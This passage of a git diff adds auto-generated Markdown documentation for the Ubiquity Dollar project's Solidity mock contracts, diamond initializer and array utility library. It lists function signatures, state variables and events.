_startedAt, + uint256 _updatedAt, + uint80 _answeredInRound +) public; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCreditNft.sol/contract.MockCreditNft.md b/packages/contracts/docs/src/src/dollar/mocks/MockCreditNft.sol/contract.MockCreditNft.md new file mode 100644 index 000000000..9995b9624 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCreditNft.sol/contract.MockCreditNft.md @@ -0,0 +1,92 @@ +# MockCreditNft +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/9b081c9a3593a6c50107cbbe15494a939de0a708/src/dollar/mocks/MockCreditNft.sol) + +**Inherits:** +ERC1155 + + +## State Variables +### _totalOutstandingDebt + +```solidity +uint256 private _totalOutstandingDebt; +``` + + +### checkPoint + +```solidity +uint256 public checkPoint; +``` + + +### _balances + +```solidity +mapping(address => mapping(uint256 => uint256)) _balances; +``` + + +## Functions +### constructor + + +```solidity +constructor(uint256 totalDebt) ERC1155("URI"); +``` + +### setTotalOutstandingDebt + + +```solidity +function setTotalOutstandingDebt(uint256 totalDebt) public; +``` + +### getTotalOutstandingDebt + + +```solidity +function getTotalOutstandingDebt() public view returns (uint256); +``` + +### updateTotalDebt + + +```solidity +function updateTotalDebt() public; +``` + +### mintCreditNft + + +```solidity +function mintCreditNft(address receiver, uint256 amount, uint256 expiryBlockNumber) public; +``` + +### balanceOf + + +```solidity +function balanceOf(address receiver, uint256 id) public view override returns (uint256); +``` + +### burnCreditNft + + +```solidity +function burnCreditNft(address creditNftOwner, uint256 amount, uint256 expiryBlockNumber) public; +``` + +## Events +### MintedCreditNft + +```solidity +event MintedCreditNft(address recipient, uint256 expiryBlock, uint256 amount); +``` + +### BurnedCreditNft + +```solidity +event BurnedCreditNft(address creditNftHolder, uint256 expiryBlock, uint256 amount); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCreditToken.sol/contract.MockCreditToken.md b/packages/contracts/docs/src/src/dollar/mocks/MockCreditToken.sol/contract.MockCreditToken.md new file mode 100644 index 000000000..cef8d6a10 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCreditToken.sol/contract.MockCreditToken.md @@ -0,0 +1,43 @@ +# MockCreditToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/7de99efbd24b43cb89b03b0f63c9241a23e6a660/src/dollar/mocks/MockCreditToken.sol) + +**Inherits:** +ERC20 + + +## Functions +### constructor + + +```solidity +constructor(uint256 initialSupply) ERC20("Ubiquity Auto Redeem", "uAR"); +``` + +### burn + + +```solidity +function burn(address account, uint256 amount) public; +``` + +### burnFrom + + +```solidity +function burnFrom(address account, uint256 amount) public; +``` + +### mint + + +```solidity +function mint(address account, uint256 amount) public; +``` + +### raiseCapital + + +```solidity +function raiseCapital(uint256 amount) external; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCurveFactory.sol/contract.MockCurveFactory.md b/packages/contracts/docs/src/src/dollar/mocks/MockCurveFactory.sol/contract.MockCurveFactory.md new file mode 100644 index 000000000..b5d0907d4 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCurveFactory.sol/contract.MockCurveFactory.md @@ -0,0 +1,199 @@ +# MockCurveFactory +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockCurveFactory.sol) + +**Inherits:** +[ICurveFactory](/src/dollar/interfaces/ICurveFactory.sol/interface.ICurveFactory.md) + + +## Functions +### deploy_metapool + + +```solidity +function deploy_metapool(address _base_pool, string memory, string memory, address _coin, uint256, uint256) + external + returns (address); +``` + +### find_pool_for_coins + + +```solidity +function find_pool_for_coins(address _from, address _to) external view returns (address); +``` + +### find_pool_for_coins + + +```solidity +function find_pool_for_coins(address _from, address _to, uint256 i) external view returns (address); +``` + +### get_n_coins + + +```solidity +function get_n_coins(address _pool) external view returns (uint256, uint256); +``` + +### get_coins + + +```solidity +function get_coins(address _pool) external view returns (address[2] memory); +``` + +### get_underlying_coins + + +```solidity +function get_underlying_coins(address _pool) external view returns (address[8] memory); +``` + +### get_decimals + + +```solidity +function get_decimals(address _pool) external view returns (uint256[2] memory); +``` + +### get_underlying_decimals + + +```solidity +function get_underlying_decimals(address _pool) external view returns (uint256[8] memory); +``` + +### get_rates + + +```solidity +function get_rates(address _pool) external view returns (uint256[2] memory); +``` + +### get_balances + + +```solidity +function get_balances(address _pool) external view returns (uint256[2] memory); +``` + +### get_underlying_balances + + +```solidity +function get_underlying_balances(address _pool) external view returns (uint256[8] memory); +``` + +### get_A + + +```solidity +function get_A(address _pool) external view returns (uint256); +``` + +### get_fees + + +```solidity +function get_fees(address _pool) external view returns (uint256, uint256); +``` + +### get_admin_balances + + +```solidity +function get_admin_balances(address _pool) external view returns (uint256[2] memory); +``` + +### get_coin_indices + + +```solidity +function get_coin_indices(address _pool, address _from, address _to) external view returns (int128, int128, bool); +``` + +### add_base_pool + + +```solidity +function add_base_pool(address _base_pool, address _metapool_implementation, address _fee_receiver) external; +``` + +### commit_transfer_ownership + + +```solidity +function commit_transfer_ownership(address addr) external; +``` + +### accept_transfer_ownership + + +```solidity +function accept_transfer_ownership() external; +``` + +### set_fee_receiver + + +```solidity +function set_fee_receiver(address _base_pool, address _fee_receiver) external; +``` + +### convert_fees + + +```solidity +function convert_fees() external returns (bool); +``` + +### admin + + +```solidity +function admin() external view returns (address); +``` + +### future_admin + + +```solidity +function future_admin() external view returns (address); +``` + +### pool_list + + +```solidity +function pool_list(uint256 arg0) external view returns (address); +``` + +### pool_count + + +```solidity +function pool_count() external view returns (uint256); +``` + +### base_pool_list + + +```solidity +function base_pool_list(uint256 arg0) external view returns (address); +``` + +### base_pool_count + + +```solidity +function base_pool_count() external view returns (uint256); +``` + +### fee_receiver + + +```solidity +function fee_receiver(address arg0) external view returns (address); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md b/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md new file mode 100644 index 000000000..e6d717d71 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md @@ -0,0 +1,95 @@ +# MockCurveStableSwapMetaNG +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockCurveStableSwapMetaNG.sol) + +**Inherits:** +[ICurveStableSwapMetaNG](/src/dollar/interfaces/ICurveStableSwapMetaNG.sol/interface.ICurveStableSwapMetaNG.md), [MockERC20](/src/dollar/mocks/MockERC20.sol/contract.MockERC20.md) + + +## State Variables +### token0 + +```solidity +address token0; +``` + + +### token1 + +```solidity +address token1; +``` + + +### coins + +```solidity +address[2] public coins; +``` + + +### priceOracle + +```solidity +uint256 priceOracle = 1e18; +``` + + +## Functions +### constructor + + +```solidity +constructor(address _token0, address _token1) MockERC20("Mock", "MCK", 18); +``` + +### add_liquidity + + +```solidity +function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount, address _receiver) + public + returns (uint256 result); +``` + +### balances + + +```solidity +function balances(uint256) external pure returns (uint256); +``` + +### calc_token_amount + + +```solidity +function calc_token_amount(uint256[2] memory _amounts, bool) external pure returns (uint256); +``` + +### exchange + + +```solidity +function exchange(int128, int128, uint256, uint256) external pure returns (uint256); +``` + +### price_oracle + + +```solidity +function price_oracle(uint256) external view returns (uint256); +``` + +### remove_liquidity_one_coin + + +```solidity +function remove_liquidity_one_coin(uint256, int128, uint256) external pure returns (uint256); +``` + +### updateMockParams + + +```solidity +function updateMockParams(uint256 _priceOracle) public; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapNG.sol/contract.MockCurveStableSwapNG.md b/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapNG.sol/contract.MockCurveStableSwapNG.md new file mode 100644 index 000000000..a34b007f2 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCurveStableSwapNG.sol/contract.MockCurveStableSwapNG.md @@ -0,0 +1,24 @@ +# MockCurveStableSwapNG +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockCurveStableSwapNG.sol) + +**Inherits:** +[ICurveStableSwapNG](/src/dollar/interfaces/ICurveStableSwapNG.sol/interface.ICurveStableSwapNG.md), [MockCurveStableSwapMetaNG](/src/dollar/mocks/MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md) + + +## Functions +### constructor + + +```solidity +constructor(address _token0, address _token1) MockCurveStableSwapMetaNG(_token0, _token1); +``` + +### add_liquidity + + +```solidity +function add_liquidity(uint256[] memory _amounts, uint256 _min_mint_amount, address _receiver) + external + returns (uint256 result); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockCurveTwocryptoOptimized.sol/contract.MockCurveTwocryptoOptimized.md b/packages/contracts/docs/src/src/dollar/mocks/MockCurveTwocryptoOptimized.sol/contract.MockCurveTwocryptoOptimized.md new file mode 100644 index 000000000..5de8450f4 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockCurveTwocryptoOptimized.sol/contract.MockCurveTwocryptoOptimized.md @@ -0,0 +1,22 @@ +# MockCurveTwocryptoOptimized +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockCurveTwocryptoOptimized.sol) + +**Inherits:** +[ICurveTwocryptoOptimized](/src/dollar/interfaces/ICurveTwocryptoOptimized.sol/interface.ICurveTwocryptoOptimized.md), [MockCurveStableSwapMetaNG](/src/dollar/mocks/MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md) + + +## Functions +### constructor + + +```solidity +constructor(address _token0, address _token1) MockCurveStableSwapMetaNG(_token0, _token1); +``` + +### price_oracle + + +```solidity +function price_oracle() external view returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockDollarToken.sol/contract.MockDollarToken.md b/packages/contracts/docs/src/src/dollar/mocks/MockDollarToken.sol/contract.MockDollarToken.md new file mode 100644 index 000000000..3b24e2665 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockDollarToken.sol/contract.MockDollarToken.md @@ -0,0 +1,36 @@ +# MockDollarToken +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/7de99efbd24b43cb89b03b0f63c9241a23e6a660/src/dollar/mocks/MockDollarToken.sol) + +**Inherits:** +ERC20 + + +## Functions +### constructor + + +```solidity +constructor(uint256 initialSupply) ERC20("ubiquityDollar", "uAD"); +``` + +### burn + + +```solidity +function burn(address account, uint256 amount) public; +``` + +### burnFrom + + +```solidity +function burnFrom(address account, uint256 amount) public; +``` + +### mint + + +```solidity +function mint(address account, uint256 amount) public; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockERC20.sol/contract.MockERC20.md b/packages/contracts/docs/src/src/dollar/mocks/MockERC20.sol/contract.MockERC20.md new file mode 100644 index 000000000..1a51fb31a --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockERC20.sol/contract.MockERC20.md @@ -0,0 +1,44 @@ +# MockERC20 +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockERC20.sol) + +**Inherits:** +ERC20 + + +## State Variables +### __decimals + +```solidity +uint8 internal __decimals; +``` + + +## Functions +### constructor + + +```solidity +constructor(string memory _name, string memory _symbol, uint8 _decimals) ERC20(_name, _symbol); +``` + +### mint + + +```solidity +function mint(address to, uint256 value) public virtual; +``` + +### burn + + +```solidity +function burn(address from, uint256 value) public virtual; +``` + +### decimals + + +```solidity +function decimals() public view virtual override returns (uint8); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/constants.MockFacet.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/constants.MockFacet.md new file mode 100644 index 000000000..ad59afda0 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/constants.MockFacet.md @@ -0,0 +1,9 @@ +# Constants +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + +### NEW_STORAGE_POSITION + +```solidity +bytes32 constant NEW_STORAGE_POSITION = keccak256("ubiquity.contracts.mock.storage"); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetInitializer.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetInitializer.md new file mode 100644 index 000000000..2b674bd4c --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetInitializer.md @@ -0,0 +1,26 @@ +# MockFacetInitializer +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + + +## Functions +### initialize + + +```solidity +function initialize() external; +``` + +### initializeRevert + + +```solidity +function initializeRevert() external pure returns (uint256); +``` + +### initializeRevertWithMessage + + +```solidity +function initializeRevertWithMessage() external pure returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithExtendedStorageWriteFunctions.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithExtendedStorageWriteFunctions.md new file mode 100644 index 000000000..0214428c1 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithExtendedStorageWriteFunctions.md @@ -0,0 +1,22 @@ +# MockFacetWithExtendedStorageWriteFunctions +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + +**Inherits:** +[IMockFacet](/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md) + + +## Functions +### functionA + + +```solidity +function functionA() external view returns (uint256); +``` + +### functionB + + +```solidity +function functionB() external view returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithPureFunctions.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithPureFunctions.md new file mode 100644 index 000000000..5fed95d87 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithPureFunctions.md @@ -0,0 +1,22 @@ +# MockFacetWithPureFunctions +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + +**Inherits:** +[IMockFacet](/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md) + + +## Functions +### functionA + + +```solidity +function functionA() external pure returns (uint256); +``` + +### functionB + + +```solidity +function functionB() external pure returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithStorageWriteFunctions.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithStorageWriteFunctions.md new file mode 100644 index 000000000..906f0479f --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/contract.MockFacetWithStorageWriteFunctions.md @@ -0,0 +1,22 @@ +# MockFacetWithStorageWriteFunctions +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + +**Inherits:** +[IMockFacet](/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md) + + +## Functions +### functionA + + +```solidity +function functionA() external view returns (uint256); +``` + +### functionB + + +```solidity +function functionB() external returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md new file mode 100644 index 000000000..fd0bd66e5 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/interface.IMockFacet.md @@ -0,0 +1,19 @@ +# IMockFacet +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + + +## Functions +### functionA + + +```solidity +function functionA() external returns (uint256); +``` + +### functionB + + +```solidity +function functionB() external returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewSimpleStorage.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewSimpleStorage.md new file mode 100644 index 000000000..d88738130 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewSimpleStorage.md @@ -0,0 +1,10 @@ +# NewSimpleStorage +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + + +```solidity +struct NewSimpleStorage { + uint256 slot1; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewStorageExtended.md b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewStorageExtended.md new file mode 100644 index 000000000..c16a47a33 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockFacet.sol/struct.NewStorageExtended.md @@ -0,0 +1,11 @@ +# NewStorageExtended +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockFacet.sol) + + +```solidity +struct NewStorageExtended { + uint256 slot1; + uint256 slot2; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockIncentive.sol/contract.MockIncentive.md b/packages/contracts/docs/src/src/dollar/mocks/MockIncentive.sol/contract.MockIncentive.md new file mode 100644 index 000000000..7e10651db --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockIncentive.sol/contract.MockIncentive.md @@ -0,0 +1,19 @@ +# MockIncentive +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/66e97ec8763806fd714a23d6e8eaecfdd8d08108/src/dollar/mocks/MockIncentive.sol) + + +## Functions +### incentivize + + +```solidity +function incentivize(address sender, address recipient, address operator, uint256 amount) public; +``` + +## Events +### Incentivized + +```solidity +event Incentivized(address indexed sender, address indexed recipient, address operator, uint256 amount); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockMetaPool.sol/contract.MockMetaPool.md b/packages/contracts/docs/src/src/dollar/mocks/MockMetaPool.sol/contract.MockMetaPool.md new file mode 100644 index 000000000..baeb77352 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockMetaPool.sol/contract.MockMetaPool.md @@ -0,0 +1,156 @@ +# MockMetaPool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/mocks/MockMetaPool.sol) + +**Inherits:** +[IMetaPool](/src/dollar/interfaces/IMetaPool.sol/interface.IMetaPool.md), [MockERC20](/src/dollar/mocks/MockERC20.sol/contract.MockERC20.md) + + +## State Variables +### token0 + +```solidity +address token0; +``` + + +### token1 + +```solidity +address token1; +``` + + +### coins + +```solidity +address[2] public coins; +``` + + +### balances + +```solidity +uint256[2] public balances = [10e18, 10e18]; +``` + + +### dy_values + +```solidity +uint256[2] public dy_values = [100e18, 100e18]; +``` + + +### price_cumulative_last + +```solidity +uint256[2] price_cumulative_last = [10e18, 10e18]; +``` + + +### last_block_timestamp + +```solidity +uint256 last_block_timestamp = 10000; +``` + + +## Functions +### constructor + + +```solidity +constructor(address _token0, address _token1) MockERC20("Mock", "MCK", 18); +``` + +### get_price_cumulative_last + + +```solidity +function get_price_cumulative_last() external view returns (uint256[2] memory); +``` + +### block_timestamp_last + + +```solidity +function block_timestamp_last() external view returns (uint256); +``` + +### get_twap_balances + + +```solidity +function get_twap_balances(uint256[2] memory, uint256[2] memory, uint256) external view returns (uint256[2] memory); +``` + +### get_dy + + +```solidity +function get_dy(int128 i, int128 j, uint256, uint256[2] memory) external view returns (uint256); +``` + +### updateMockParams + + +```solidity +function updateMockParams( + uint256[2] calldata _price_cumulative_last, + uint256 _last_block_timestamp, + uint256[2] calldata _twap_balances, + uint256[2] calldata _dy_values +) public; +``` + +### add_liquidity + + +```solidity +function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount, address _receiver) + external + returns (uint256 result); +``` + +### calc_token_amount + + +```solidity +function calc_token_amount(uint256[2] memory _amounts, bool) external pure returns (uint256); +``` + +### exchange + + +```solidity +function exchange(int128, int128, uint256, uint256) external pure returns (uint256); +``` + +### fee + + +```solidity +function fee() external pure returns (uint256); +``` + +### get_dy + + +```solidity +function get_dy(int128, int128, uint256) external pure returns (uint256); +``` + +### get_dy_underlying + + +```solidity +function get_dy_underlying(int128, int128, uint256) external pure returns (uint256); +``` + +### remove_liquidity_one_coin + + +```solidity +function remove_liquidity_one_coin(uint256, int128, uint256) external pure returns (uint256); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockShareV1.sol/contract.BondingShare.md b/packages/contracts/docs/src/src/dollar/mocks/MockShareV1.sol/contract.BondingShare.md new file mode 100644 index 000000000..3604390ea --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockShareV1.sol/contract.BondingShare.md @@ -0,0 +1,43 @@ +# BondingShare +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/mocks/MockShareV1.sol) + +**Inherits:** +[StakingShare](/src/dollar/core/StakingShare.sol/contract.StakingShare.md) + + +## Functions +### constructor + + +```solidity +constructor(); +``` + +### initialize + + +```solidity +function initialize(address _manager, string memory uri) public override initializer; +``` + +### hasUpgraded + + +```solidity +function hasUpgraded() public pure virtual returns (bool); +``` + +### getVersion + + +```solidity +function getVersion() public view virtual returns (uint8); +``` + +### getImpl + + +```solidity +function getImpl() public view virtual returns (address); +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockTWAPOracleDollar3pool.sol/contract.MockTWAPOracleDollar3pool.md b/packages/contracts/docs/src/src/dollar/mocks/MockTWAPOracleDollar3pool.sol/contract.MockTWAPOracleDollar3pool.md new file mode 100644 index 000000000..918d16191 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockTWAPOracleDollar3pool.sol/contract.MockTWAPOracleDollar3pool.md @@ -0,0 +1,82 @@ +# MockTWAPOracleDollar3pool +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/4924ab0035521e70625d704791f5b260a4713327/src/dollar/mocks/MockTWAPOracleDollar3pool.sol) + + +## State Variables +### pool + +```solidity +address public immutable pool; +``` + + +### token0 + +```solidity +address public immutable token0; +``` + + +### token1 + +```solidity +address public immutable token1; +``` + + +### price0Average + +```solidity +uint256 public price0Average; +``` + + +### price1Average + +```solidity +uint256 public price1Average; +``` + + +### pricesBlockTimestampLast + +```solidity +uint256 public pricesBlockTimestampLast; +``` + + +### priceCumulativeLast + +```solidity +uint256[2] public priceCumulativeLast; +``` + + +## Functions +### constructor + + +```solidity +constructor( + address _pool, + address _dollarToken0, + address _curve3CRVToken1, + uint256 _price0Average, + uint256 _price1Average +); +``` + +### consult + + +```solidity +function consult(address token) external view returns (uint256 amountOut); +``` + +### update + + +```solidity +function update() external pure; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/MockUbiquistick.sol/contract.MockUbiquistick.md b/packages/contracts/docs/src/src/dollar/mocks/MockUbiquistick.sol/contract.MockUbiquistick.md new file mode 100644 index 000000000..342ba478d --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/MockUbiquistick.sol/contract.MockUbiquistick.md @@ -0,0 +1,22 @@ +# MockUbiquistick +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/7de99efbd24b43cb89b03b0f63c9241a23e6a660/src/dollar/mocks/MockUbiquistick.sol) + +**Inherits:** +ERC1155 + + +## Functions +### constructor + + +```solidity +constructor() ERC1155("UbiquiStick"); +``` + +### mint + + +```solidity +function mint(address to, uint256 id, uint256 amount, bytes memory data) public; +``` + diff --git a/packages/contracts/docs/src/src/dollar/mocks/README.md b/packages/contracts/docs/src/src/dollar/mocks/README.md new file mode 100644 index 000000000..bac383871 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/mocks/README.md @@ -0,0 +1,18 @@ + + +# Contents +- [MockChainLinkFeed](MockChainLinkFeed.sol/contract.MockChainLinkFeed.md) +- [MockCurveFactory](MockCurveFactory.sol/contract.MockCurveFactory.md) +- [MockCurveStableSwapMetaNG](MockCurveStableSwapMetaNG.sol/contract.MockCurveStableSwapMetaNG.md) +- [MockCurveStableSwapNG](MockCurveStableSwapNG.sol/contract.MockCurveStableSwapNG.md) +- [MockCurveTwocryptoOptimized](MockCurveTwocryptoOptimized.sol/contract.MockCurveTwocryptoOptimized.md) +- [MockERC20](MockERC20.sol/contract.MockERC20.md) +- [IMockFacet](MockFacet.sol/interface.IMockFacet.md) +- [NewSimpleStorage](MockFacet.sol/struct.NewSimpleStorage.md) +- [NewStorageExtended](MockFacet.sol/struct.NewStorageExtended.md) +- [MockFacetInitializer](MockFacet.sol/contract.MockFacetInitializer.md) +- [MockFacetWithPureFunctions](MockFacet.sol/contract.MockFacetWithPureFunctions.md) +- [MockFacetWithStorageWriteFunctions](MockFacet.sol/contract.MockFacetWithStorageWriteFunctions.md) +- [MockFacetWithExtendedStorageWriteFunctions](MockFacet.sol/contract.MockFacetWithExtendedStorageWriteFunctions.md) +- [MockFacet constants](MockFacet.sol/constants.MockFacet.md) +- [BondingShare](MockShareV1.sol/contract.BondingShare.md) diff --git a/packages/contracts/docs/src/src/dollar/upgradeInitializers/DiamondInit.sol/contract.DiamondInit.md b/packages/contracts/docs/src/src/dollar/upgradeInitializers/DiamondInit.sol/contract.DiamondInit.md new file mode 100644 index 000000000..1496158d0 --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/upgradeInitializers/DiamondInit.sol/contract.DiamondInit.md @@ -0,0 +1,50 @@ +# DiamondInit +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/upgradeInitializers/DiamondInit.sol) + +**Inherits:** +[Modifiers](/src/dollar/libraries/LibAppStorage.sol/contract.Modifiers.md) + +It is expected that this contract is customized if you want to deploy your diamond +with data from a deployment script. Use the init function to initialize state variables +of your diamond. Add parameters to the init function if you need to. + +How it works: +1. New `Diamond` contract is created +2. Inside the diamond's constructor there a `delegatecall()` to `DiamondInit` with the provided args +3. `DiamondInit` updates diamond storage + + +## Functions +### init + +Initializes a diamond with state variables + +*You can add parameters to this function in order to pass in data to set your own state variables* + + +```solidity +function init(Args memory _args) external; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`_args`|`Args`|Init args| + + +## Structs +### Args +Struct used for diamond initialization + + +```solidity +struct Args { + address admin; + address[] tos; + uint256[] amounts; + uint256[] stakingShareIDs; + uint256 governancePerBlock; + uint256 creditNftLengthBlocks; +} +``` + diff --git a/packages/contracts/docs/src/src/dollar/upgradeInitializers/README.md b/packages/contracts/docs/src/src/dollar/upgradeInitializers/README.md new file mode 100644 index 000000000..9375a845b --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/upgradeInitializers/README.md @@ -0,0 +1,4 @@ + + +# Contents +- [DiamondInit](DiamondInit.sol/contract.DiamondInit.md) diff --git a/packages/contracts/docs/src/src/dollar/utils/README.md b/packages/contracts/docs/src/src/dollar/utils/README.md new file mode 100644 index 000000000..f259b06ec --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/utils/README.md @@ -0,0 +1,4 @@ + + +# Contents +- [SafeAddArray](SafeAddArray.sol/library.SafeAddArray.md) diff --git a/packages/contracts/docs/src/src/dollar/utils/SafeAddArray.sol/library.SafeAddArray.md b/packages/contracts/docs/src/src/dollar/utils/SafeAddArray.sol/library.SafeAddArray.md new file mode 100644 index 000000000..6056bf28d --- /dev/null +++ b/packages/contracts/docs/src/src/dollar/utils/SafeAddArray.sol/library.SafeAddArray.md @@ -0,0 +1,39 @@ +# SafeAddArray +[Git Source](https://github.com/ubiquity/ubiquity-dollar/blob/565aaa6bed7cb481fd57c9fc6a7b1052ff2aa816/src/dollar/utils/SafeAddArray.sol) + +Wrappers over Solidity's array push operations with added check + + +## Functions +### add + +Adds `value` to `array` + + +```solidity +function add(uint256[] storage array, uint256 value) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`array`|`uint256[]`|Array to modify| +|`value`|`uint256`|Value to add| + + +### add + +Adds `values` to `array` + + +```solidity +function add(uint256[] storage array, uint256[] memory values) internal; +``` +**Parameters** + +|Name|Type|Description| +|----|----|-----------| +|`array`|`uint256[]`|Array to modify| +|`values`|`uint256[]`|Array of values to add| + + diff --git a/packages/contracts/dollar/.dockerignore 